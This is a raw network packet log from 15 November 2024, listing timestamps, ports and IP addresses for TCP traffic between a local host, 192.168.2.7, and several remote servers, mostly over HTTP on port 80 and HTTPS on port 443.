Nov 15, 2024 13:18:26.948108912 CET	443	49745	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.948846102 CET	49745	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:26.948852062 CET	443	49745	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:26.967951059 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.968002081 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.968111992 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.968130112 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.968166113 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:26.968269110 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.968346119 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.968359947 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:26.968399048 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.011187077 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.011610985 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.011632919 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.011650085 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.011666059 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.011667967 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.011683941 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.011694908 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.011724949 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.011869907 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.011887074 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.011904001 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.011938095 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.012303114 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.012319088 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.012335062 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.012345076 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.012379885 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.012568951 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.012584925 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.012624025 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.012717962 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.052803993 CET	443	49743	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.052875042 CET	443	49743	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.053201914 CET	49743	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.053201914 CET	49743	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.053201914 CET	49743	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.053388119 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.053417921 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.053433895 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.053437948 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.053781986 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.055635929 CET	49750	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.055671930 CET	443	49750	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.055819035 CET	49750	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.055985928 CET	49750	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.056003094 CET	443	49750	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.058218002 CET	443	49744	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.058305979 CET	443	49744	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.058361053 CET	49744	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.058466911 CET	49744	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.058482885 CET	443	49744	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.058916092 CET	49744	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.058926105 CET	443	49744	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.060705900 CET	49751	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.060734034 CET	443	49751	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.060888052 CET	49751	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.061021090 CET	49751	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.061028957 CET	443	49751	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.074269056 CET	443	49746	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.074373960 CET	443	49746	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.074424982 CET	49746	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.074484110 CET	49746	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.074501991 CET	443	49746	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.074517965 CET	49746	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.074523926 CET	443	49746	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.075510025 CET	443	49747	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.075871944 CET	443	49747	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.075934887 CET	49747	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.076841116 CET	49752	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.076874018 CET	443	49752	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.076994896 CET	49752	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.077125072 CET	49752	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.077147007 CET	49747	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.077150106 CET	443	49752	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.077166080 CET	443	49747	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.077177048 CET	49747	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.077182055 CET	443	49747	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.079446077 CET	49753	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.079476118 CET	443	49753	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.079530001 CET	49753	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.079632998 CET	49753	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.079644918 CET	443	49753	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.083344936 CET	443	49745	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.083440065 CET	443	49745	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.083687067 CET	49745	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.083718061 CET	49745	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.083718061 CET	49745	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.083730936 CET	443	49745	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.083739996 CET	443	49745	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.085742950 CET	49754	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.085766077 CET	443	49754	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.085875988 CET	49754	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.085993052 CET	49754	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.086009026 CET	443	49754	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.090740919 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.090771914 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.090823889 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.090858936 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.090884924 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.090893030 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.090914011 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.090929985 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.091108084 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.133662939 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.133724928 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.133761883 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.133796930 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.133831024 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.133841038 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.133867979 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.133924007 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.133924007 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.133972883 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.134004116 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.134040117 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.134093046 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.134104013 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.134126902 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.134181976 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.134433031 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.134491920 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.134495020 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.134537935 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.134573936 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.134633064 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.169420958 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.169439077 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.169490099 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.169594049 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.169609070 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.169672012 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.213517904 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.213531017 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.213541985 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.213562012 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.213572025 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.213574886 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.213671923 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.256441116 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.256457090 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.256469011 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.256479979 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.256522894 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.256556988 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.256561041 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.256572962 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.256589890 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.256598949 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.256614923 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.256635904 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.257173061 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.257208109 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.257219076 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.257256031 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.257531881 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.257543087 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.257553101 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.257582903 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.257622004 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.276561022 CET	49743	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.276599884 CET	443	49743	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.292597055 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.292614937 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.292628050 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.292670965 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.292684078 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.292705059 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.292721033 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.292741060 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.292807102 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.336437941 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.336493015 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.336527109 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.336564064 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.336596012 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.336661100 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.336663008 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.336704016 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.337007999 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.344660997 CET	49735	443	192.168.2.7	20.109.210.53
Nov 15, 2024 13:18:27.344660997 CET	49735	443	192.168.2.7	20.109.210.53
Nov 15, 2024 13:18:27.344741106 CET	443	49735	20.109.210.53	192.168.2.7
Nov 15, 2024 13:18:27.344769001 CET	443	49735	20.109.210.53	192.168.2.7
Nov 15, 2024 13:18:27.379825115 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.379852057 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.379863977 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.379908085 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.379923105 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.379957914 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.379992962 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.380105972 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.380157948 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.380160093 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.380193949 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.380244017 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.380258083 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.380698919 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.380714893 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.380749941 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.380774975 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.380783081 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.380815029 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.415870905 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.415915012 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.415957928 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.415971994 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.416008949 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.416033030 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.416043997 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.416095018 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.416115999 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.416150093 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.416363001 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.459692001 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.459721088 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.459745884 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.459763050 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.459779024 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.459777117 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.459816933 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.502902031 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.502931118 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.502947092 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.502989054 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.503036022 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.503036976 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.503055096 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.503216028 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.503271103 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.503283978 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.503284931 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.503341913 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.503576994 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.503626108 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.503650904 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.503655910 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.503699064 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.503705025 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.503715038 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.503731966 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.503770113 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.538753033 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.538788080 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.538821936 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.538856983 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.538865089 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.538887024 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.538949013 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.538949013 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.539016008 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.539043903 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.539103985 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.582607031 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.582638025 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.582676888 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.582694054 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.582741976 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.582834959 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.582861900 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.582905054 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.582920074 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.582952023 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.623543978 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.623579025 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.623646021 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.626173019 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.626226902 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.626230001 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.626281977 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.626317978 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.626332045 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.626351118 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.626389027 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.626431942 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.626447916 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.626494884 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.626498938 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.626811981 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.626864910 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.626895905 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.626929998 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.626996040 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.627027988 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.627033949 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.627074957 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.627470016 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.627502918 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.627537966 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.627592087 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.662056923 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.662091970 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.662121058 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.662143946 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.662219048 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.662278891 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.662312984 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.662344933 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.662386894 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.705868959 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.705884933 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.705902100 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.705930948 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.705967903 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.706037998 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.706104994 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.706120014 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.706163883 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.749839067 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.749910116 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.749918938 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.749947071 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.749979973 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.750005960 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.750015974 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.750051022 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.750082970 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.750134945 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.750149965 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.750168085 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.750188112 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.750216007 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.750228882 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.750243902 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.750260115 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.750312090 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.751000881 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.751015902 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.751030922 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.751044989 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.751060009 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.751087904 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.751115084 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.988153934 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.988190889 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.988209009 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.988224983 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.988241911 CET	80	49734	185.215.113.16	192.168.2.7
